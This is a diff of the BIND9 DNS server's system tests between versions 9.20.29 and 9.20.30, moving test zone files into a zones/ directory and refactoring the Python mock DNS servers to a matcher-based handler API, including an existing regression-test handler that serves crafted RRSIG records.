+++ bind9-9.20.30/bin/tests/system/qmin/ans3/zoop.boing.ugly.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,14 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns3.ugly. hostmaster.arpa. 2018050100 1 1 1 1 -@ 1 NS ns3.ugly. -icky.ptang 1 NS a.bit.longer.ns.name.ugly. diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.db bind9-9.20.30/bin/tests/system/qmin/ans4/1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.db 2026-09-11 19:41:01.311326447 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,15 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 30 SOA ns4.good. hostmaster.arpa. 2018050100 1 1 1 1 -@ 30 NS ns4.good. - -test1.test2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.9.0.9.4 1 TXT "long_ip6_name" diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/a.b.stale.db bind9-9.20.30/bin/tests/system/qmin/ans4/a.b.stale.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/a.b.stale.db 2026-09-11 19:41:01.312326471 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/a.b.stale.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,15 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns hostmaster.a.b.stale. 1 2 3 4 5 -@ 1 NS ns -ns 1 A 10.53.0.4 -@ 1 TXT "hooray" diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/ans.py bind9-9.20.30/bin/tests/system/qmin/ans4/ans.py --- bind9-9.20.29/bin/tests/system/qmin/ans4/ans.py 2026-09-11 19:41:01.312326471 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/ans.py 2026-10-12 13:12:08.222895956 +0000 @@ -1,28 +1,22 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator import dns.rcode import dns.rdatatype -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - DomainHandler, - QueryContext, - ResponseAction, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain from ..qmin_ans import ( DelayedResponseHandler, @@ -33,13 +27,10 @@ class QueryLogger(QueryLogHandler): - domains = [ - "1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.", - "icky.ptang.zoop.boing.good.", - ] + matcher = Domain("1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.", "icky.ptang.zoop.boing.good.") -class StaleHandler(DomainHandler): +class StaleHandler(ResponseHandler): """ The test code relies on this server returning non-minimal (i.e. including address records in the ADDITIONAL section) responses to NS queries for @@ -50,11 +41,11 @@ handler implemented below. """ - domains = ["b.stale", "a.b.stale"] + matcher = Domain("b.stale", "a.b.stale") async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: log_query(qctx) if qctx.qtype == dns.rdatatype.NS: @@ -75,17 +66,17 @@ class IckyPtangZoopBoingBadHandler(EntRcodeChanger): - domains = ["icky.ptang.zoop.boing.bad."] + matcher = Domain("icky.ptang.zoop.boing.bad.") rcode = dns.rcode.NXDOMAIN class IckyPtangZoopBoingUglyHandler(EntRcodeChanger): - domains = ["icky.ptang.zoop.boing.ugly."] + matcher = Domain("icky.ptang.zoop.boing.ugly.") rcode = dns.rcode.FORMERR class IckyPtangZoopBoingSlowHandler(DelayedResponseHandler): - domains = ["icky.ptang.zoop.boing.slow."] + matcher = Domain("icky.ptang.zoop.boing.slow.") delay = 0.4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/b.stale.db bind9-9.20.30/bin/tests/system/qmin/ans4/b.stale.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/b.stale.db 2026-09-11 19:41:01.312326471 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/b.stale.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,16 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns hostmaster.b.stale. 1 2 3 4 5 -@ 1 NS ns -ns 1 A 10.53.0.4 -a 1 NS ns.a -ns.a 1 A 10.53.0.4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.bad.db bind9-9.20.30/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.bad.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.bad.db 2026-09-11 19:41:01.312326471 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.bad.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,15 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns4.bad. hostmaster.arpa. 2018050100 1 1 1 1 -@ 1 NS a.bit.longer.ns.name.bad. -icky.icky 1 A 192.0.2.1 -more.icky.icky 1 A 192.0.2.2 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.good.db bind9-9.20.30/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.good.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.good.db 2026-09-11 19:41:01.312326471 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.good.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,15 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns4.good. hostmaster.arpa. 2018050100 1 1 1 1 -@ 1 NS a.bit.longer.ns.name.good. -icky.icky 1 A 192.0.2.1 -more.icky.icky 1 A 192.0.2.2 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.slow.db bind9-9.20.30/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.slow.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.slow.db 2026-09-11 19:41:01.312326471 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.slow.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,15 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns4.slow. hostmaster.arpa. 2018050100 1 1 1 1 -@ 1 NS a.bit.longer.ns.name.slow. -icky.icky 1 A 192.0.2.1 -more.icky.icky 1 A 192.0.2.2 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.ugly.db bind9-9.20.30/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.ugly.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.ugly.db 2026-09-11 19:41:01.312326471 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.ugly.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,15 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns4.ugly. hostmaster.arpa. 2018050100 1 1 1 1 -@ 1 NS a.bit.longer.ns.name.ugly. -icky.icky 1 A 192.0.2.1 -more.icky.icky 1 A 192.0.2.2 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/zones/1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.db bind9-9.20.30/bin/tests/system/qmin/ans4/zones/1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/zones/1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/zones/1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.db 2026-10-12 13:12:08.222895956 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 30 SOA ns4.good. hostmaster.arpa. 2018050100 1 1 1 1 +@ 30 NS ns4.good. + +test1.test2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.9.0.9.4 1 TXT "long_ip6_name" diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/zones/a.b.stale.db bind9-9.20.30/bin/tests/system/qmin/ans4/zones/a.b.stale.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/zones/a.b.stale.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/zones/a.b.stale.db 2026-10-12 13:12:08.222895956 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns hostmaster.a.b.stale. 1 2 3 4 5 +@ 1 NS ns +ns 1 A 10.53.0.4 +@ 1 TXT "hooray" diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/zones/b.stale.db bind9-9.20.30/bin/tests/system/qmin/ans4/zones/b.stale.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/zones/b.stale.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/zones/b.stale.db 2026-10-12 13:12:08.222895956 +0000 @@ -0,0 +1,16 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns hostmaster.b.stale. 1 2 3 4 5 +@ 1 NS ns +ns 1 A 10.53.0.4 +a 1 NS ns.a +ns.a 1 A 10.53.0.4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.bad.db bind9-9.20.30/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.bad.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.bad.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.bad.db 2026-10-12 13:12:08.222895956 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns4.bad. hostmaster.arpa. 2018050100 1 1 1 1 +@ 1 NS a.bit.longer.ns.name.bad. +icky.icky 1 A 192.0.2.1 +more.icky.icky 1 A 192.0.2.2 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.good.db bind9-9.20.30/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.good.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.good.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.good.db 2026-10-12 13:12:08.222895956 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns4.good. hostmaster.arpa. 2018050100 1 1 1 1 +@ 1 NS a.bit.longer.ns.name.good. +icky.icky 1 A 192.0.2.1 +more.icky.icky 1 A 192.0.2.2 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.slow.db bind9-9.20.30/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.slow.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.slow.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.slow.db 2026-10-12 13:12:08.222895956 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns4.slow. hostmaster.arpa. 2018050100 1 1 1 1 +@ 1 NS a.bit.longer.ns.name.slow. +icky.icky 1 A 192.0.2.1 +more.icky.icky 1 A 192.0.2.2 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.ugly.db bind9-9.20.30/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.ugly.db --- bind9-9.20.29/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.ugly.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.ugly.db 2026-10-12 13:12:08.222895956 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns4.ugly. hostmaster.arpa. 2018050100 1 1 1 1 +@ 1 NS a.bit.longer.ns.name.ugly. +icky.icky 1 A 192.0.2.1 +more.icky.icky 1 A 192.0.2.2 diff -Nru bind9-9.20.29/bin/tests/system/qmin/qmin_ans.py bind9-9.20.30/bin/tests/system/qmin/qmin_ans.py --- bind9-9.20.29/bin/tests/system/qmin/qmin_ans.py 2026-09-11 19:41:01.313326495 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/qmin_ans.py 2026-10-12 13:12:08.223895977 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -18,12 +16,8 @@ import dns.rcode import dns.rdatatype -from isctest.asyncserver import ( - DnsResponseSend, - DomainHandler, - QueryContext, - ResponseAction, -) +from isctest.asyncserver import QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend def log_query(qctx: QueryContext) -> None: @@ -41,7 +35,7 @@ print(f"{qtype} {qname}", file=query_log) -class QueryLogHandler(DomainHandler): +class QueryLogHandler(ResponseHandler): """ Log all received DNS queries to a text file. Use the zone file for preparing responses. @@ -49,12 +43,12 @@ async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: log_query(qctx) yield DnsResponseSend(qctx.response) -class EntRcodeChanger(DomainHandler): +class EntRcodeChanger(ResponseHandler): """ Log all received DNS queries to a text file. Use the zone file for preparing responses, but override the RCODE returned for empty @@ -69,7 +63,7 @@ async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: assert qctx.zone log_query(qctx) @@ -85,7 +79,7 @@ yield DnsResponseSend(qctx.response) -class DelayedResponseHandler(DomainHandler): +class DelayedResponseHandler(ResponseHandler): """ Log all received DNS queries to a text file. Use the zone file for preparing responses, but delay sending every answer by the amount of time @@ -99,6 +93,6 @@ async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: log_query(qctx) yield DnsResponseSend(qctx.response, delay=self.delay) diff -Nru bind9-9.20.29/bin/tests/system/qmin/tests_sh_qmin.py bind9-9.20.30/bin/tests/system/qmin/tests_sh_qmin.py --- bind9-9.20.29/bin/tests/system/qmin/tests_sh_qmin.py 2026-09-11 19:41:01.313326495 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/tests_sh_qmin.py 2026-10-12 13:12:08.223895977 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -16,7 +16,6 @@ "dig.out.*", "named.run.*", "query*.log", - "ans*/ans.run", "ans*/query.log*", ] ) diff -Nru bind9-9.20.29/bin/tests/system/qpcache_rrsig_any/ans3/ans.py bind9-9.20.30/bin/tests/system/qpcache_rrsig_any/ans3/ans.py --- bind9-9.20.29/bin/tests/system/qpcache_rrsig_any/ans3/ans.py 2026-09-11 19:41:01.313326495 +0000 +++ bind9-9.20.30/bin/tests/system/qpcache_rrsig_any/ans3/ans.py 2026-10-12 13:12:08.223895977 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -19,15 +17,10 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - QnameHandler, - QueryContext, - ResponseAction, - ResponseHandler, - StaticResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.handlers import StaticResponseHandler +from isctest.asyncserver.matchers import Qname def rrsig_covering( @@ -43,7 +36,7 @@ ) -class RrsigCoversRrsigHandler(QnameHandler, StaticResponseHandler): +class RrsigCoversRrsigHandler(StaticResponseHandler): """ An RRSIG covering RRSIG only trips the QP-cache RRSIG-pairing assertion when a second RRSIG header shares the owner name, so serve two ordinary RRSIGs @@ -51,11 +44,11 @@ RRSIG-covers-RRSIG record is cached harmlessly. """ - qnames = ["rrsig.attacker.test."] + matcher = Qname("rrsig.attacker.test.") answer = [ - rrsig_covering(qnames[0], dns.rdatatype.A), - rrsig_covering(qnames[0], dns.rdatatype.AAAA), - rrsig_covering(qnames[0], dns.rdatatype.RRSIG), + rrsig_covering(matcher.qnames[0], dns.rdatatype.A), + rrsig_covering(matcher.qnames[0], dns.rdatatype.AAAA), + rrsig_covering(matcher.qnames[0], dns.rdatatype.RRSIG), ] @@ -68,7 +61,7 @@ async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: covered_label = qctx.qname.labels[0].decode("ascii").upper() covered = dns.rdatatype.from_text(covered_label) qctx.response.answer.append(rrsig_covering(qctx.qname, covered)) diff -Nru bind9-9.20.29/bin/tests/system/qpcache_rrsig_any/tests_qpcache_rrsig_any.py bind9-9.20.30/bin/tests/system/qpcache_rrsig_any/tests_qpcache_rrsig_any.py --- bind9-9.20.29/bin/tests/system/qpcache_rrsig_any/tests_qpcache_rrsig_any.py 2026-09-11 19:41:01.313326495 +0000 +++ bind9-9.20.30/bin/tests/system/qpcache_rrsig_any/tests_qpcache_rrsig_any.py 2026-10-12 13:12:08.224895999 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -24,7 +22,6 @@ pytestmark = pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ns*/named.run", ] ) diff -Nru bind9-9.20.29/bin/tests/system/query_source/tests_querysource_none.py bind9-9.20.30/bin/tests/system/query_source/tests_querysource_none.py --- bind9-9.20.29/bin/tests/system/query_source/tests_querysource_none.py 2026-09-11 19:41:01.314326519 +0000 +++ bind9-9.20.30/bin/tests/system/query_source/tests_querysource_none.py 2026-10-12 13:12:08.224895999 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/randomizens/tests_randomizens.py bind9-9.20.30/bin/tests/system/randomizens/tests_randomizens.py --- bind9-9.20.29/bin/tests/system/randomizens/tests_randomizens.py 2026-09-11 19:41:01.316326567 +0000 +++ bind9-9.20.30/bin/tests/system/randomizens/tests_randomizens.py 2026-10-12 13:12:08.226896041 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/re_compile_checker.py bind9-9.20.30/bin/tests/system/re_compile_checker.py --- bind9-9.20.29/bin/tests/system/re_compile_checker.py 2026-09-11 19:41:01.316326567 +0000 +++ bind9-9.20.30/bin/tests/system/re_compile_checker.py 2026-10-12 13:12:08.226896041 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/reclimit/ans2/ans.py bind9-9.20.30/bin/tests/system/reclimit/ans2/ans.py --- bind9-9.20.29/bin/tests/system/reclimit/ans2/ans.py 2026-09-11 19:41:01.316326567 +0000 +++ bind9-9.20.30/bin/tests/system/reclimit/ans2/ans.py 2026-10-12 13:12:08.227896063 +0000 @@ -1,43 +1,37 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator import dns.rcode -from isctest.asyncserver import ( - ControllableAsyncDnsServer, - DnsResponseSend, - QueryContext, -) +from isctest.asyncserver import ControllableAsyncDnsServer, QueryContext +from isctest.asyncserver.actions import DnsResponseSend from ..reclimit_ans import ( DirectExampleHandler, FallbackNxdomainHandler, IndirectExampleOrgHandler, LimitControlCommand, + Ns1Example, Ns1ExampleOrgHandler, ReclimitHandler, ReclimitStateHandler, a, - is_ns1_example, ns, ) class Ns1ExampleNetHandler(ReclimitHandler): - def match(self, qctx: QueryContext) -> bool: - return is_ns1_example(qctx.qname, "net") + matcher = Ns1Example("net") async def _get_counted_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/reclimit/ans4/ans.py bind9-9.20.30/bin/tests/system/reclimit/ans4/ans.py --- bind9-9.20.29/bin/tests/system/reclimit/ans4/ans.py 2026-09-11 19:41:01.317326591 +0000 +++ bind9-9.20.30/bin/tests/system/reclimit/ans4/ans.py 2026-10-12 13:12:08.227896063 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at 